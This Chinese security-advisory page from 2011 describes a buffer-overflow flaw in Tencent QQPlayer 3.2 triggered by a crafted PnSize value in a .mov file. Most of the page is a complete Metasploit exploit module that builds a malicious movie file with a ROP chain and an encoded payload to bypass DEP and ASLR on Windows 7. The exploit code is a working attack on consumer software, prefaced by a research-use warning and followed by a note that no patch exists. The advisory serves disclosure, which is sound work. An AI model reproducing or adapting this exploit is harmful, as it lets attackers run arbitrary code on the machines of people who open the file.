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首页 / 操作系统 / Linux / QQ Player “PnSize”值缓冲区溢出漏洞

发布日期:2011-11-21
更新日期:2011-11-22受影响系统:
Tencent QQ影音 3.2
描述:
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BUGTRAQ  ID: 50739QQ影音(QQPlayer)是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。QQPlayer在实现上存在缓冲区溢出漏洞,成功利用后可允许远程攻击者执行任意代码,造成拒绝服务。<*来源:hellok
  *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!hellok ()提供了如下测试方法:# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
# Version: 32_845(lastest)
# Tested on: WIN7
require "msf/core"
class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::FILEFORMAT    def initialize(info = {})
        super(update_info(info,
            "Name"           => "QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS",
            "Description"    => %q{
                    This module exploits a vulnerability in QQPLAYER Player 3.2.
                When opening a .mov file containing a specially crafted PnSize value, an attacker
                may be able to execute arbitrary code.
            },
            "License"        => MSF_LICENSE,
            "Author"         =>
                [
                    "hellok",  #special thank corelanc0d3r for "mona"
                ],
            "References"     =>
                [
                ],
            "DefaultOptions" =>
                {
                    "EXITFUNC" => "process",
                    "DisablePayloadHandler" => "true",
                },
            "Payload"        =>
                {
                    "Space"          => 750,
                    "BadChars"       => "",  #Memcpy
                    "EncoderType"    => Msf::Encoder::Type::AlphanumUpper,
                    "DisableNops"    =>  "True",
                    "PrependEncoder" => "xebx03x59xebx05xe8xf8xffxffxff",
                    "EncoderOptions" =>
                        {
                            "BufferRegister" => "ECX",
                        },
                },
            "Platform" => "win",
            "Targets"        =>
                [
                    [ "Windows 7", { "Ret" => 0x67664cde } ],
                ],
            "Privileged"     => false,
            "DisclosureDate" => "11 21 2011",
            "DefaultTarget"  => 0))        register_options(
            [
                OptString.new("FILENAME",   [ false, "The file name.",  "msf.mov" ]),
            ], self.class)
    end
    def exploit
        # !mona rop
        rop_gadgets =
        [
           
            0x00418007,    # POP ECX # RETN (QQPlayer.exe)
            0x12345678,
            0x67664CE4,  
            0x01020304,
            0x10203040,
            0x22331122,
            0x23456789,
           
            0x00418007,    # POP ECX # RETN (QQPlayer.exe)
            0x00a9c18c,    # <- *&VirtualProtect()
            0x0054f100,    # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
            #0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
            0x008cf099,    # XCHG EAX,ESI # RETN
           
            0x6497aaad,    # POP EBP # RETN (avformat-52.dll)
            0x100272bf,    # ptr to "call esp" (from i18nu.dll)
            0x005fc00b,    # POP EBX # RETN (QQPlayer.exe)
            0x00000331,    # <- change size to mark as executable if needed (-> ebx)
            0x00418007,    # POP ECX # RETN (QQPlayer.exe)
            0x63d18000,    # RW pointer (lpOldProtect) (-> ecx)
            0x63d05001,    # POP EDI # RETN (avutil-49.dll)
            0x63d05002,    # ROP NOP (-> edi)
            0x008bf00b,    # POP EDX # RETN (QQPlayer.exe)
            0x00000040,    # newProtect (0x40) (-> edx)
            0x00468800,    # POP EAX # RETN (QQPlayer.exe)
            0x90909090,    # NOPS (-> eax)
            0x008bad5c,    # PUSHAD # RETN (QQPlayer.exe)
        # rop chain generated by mona.py
        # note : this chain may not work out of the box
        # you may have to change order or fix some gadgets,
        # but it should give you a head start
        ].pack("V*")        stackpivot = [target.ret].pack("L")        buffer =rand_text_alpha_upper(90)#2
        buffer << rop_gadgets
        buffer << payload.encoded        junk = rand_text_alpha_upper(2306 - buffer.length)        buffer << junk
        buffer << stackpivot
        buffer << rand_text_alpha_upper(3000)#3000        path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
        fd = File.open(path, "rb" )
        sploit = fd.read(fd.stat.size)
        fd.close        sploit << buffer        file_create(sploit)
    end
end建议:
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厂商补丁:Tencent
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://im.qq.com/qq/dlqq.shtmlLinux Kernel NFS客户端“decode_getacl()”远程拒绝服务漏洞Linux Kernel CIFS本地安全限制绕过漏洞相关资讯      漏洞 
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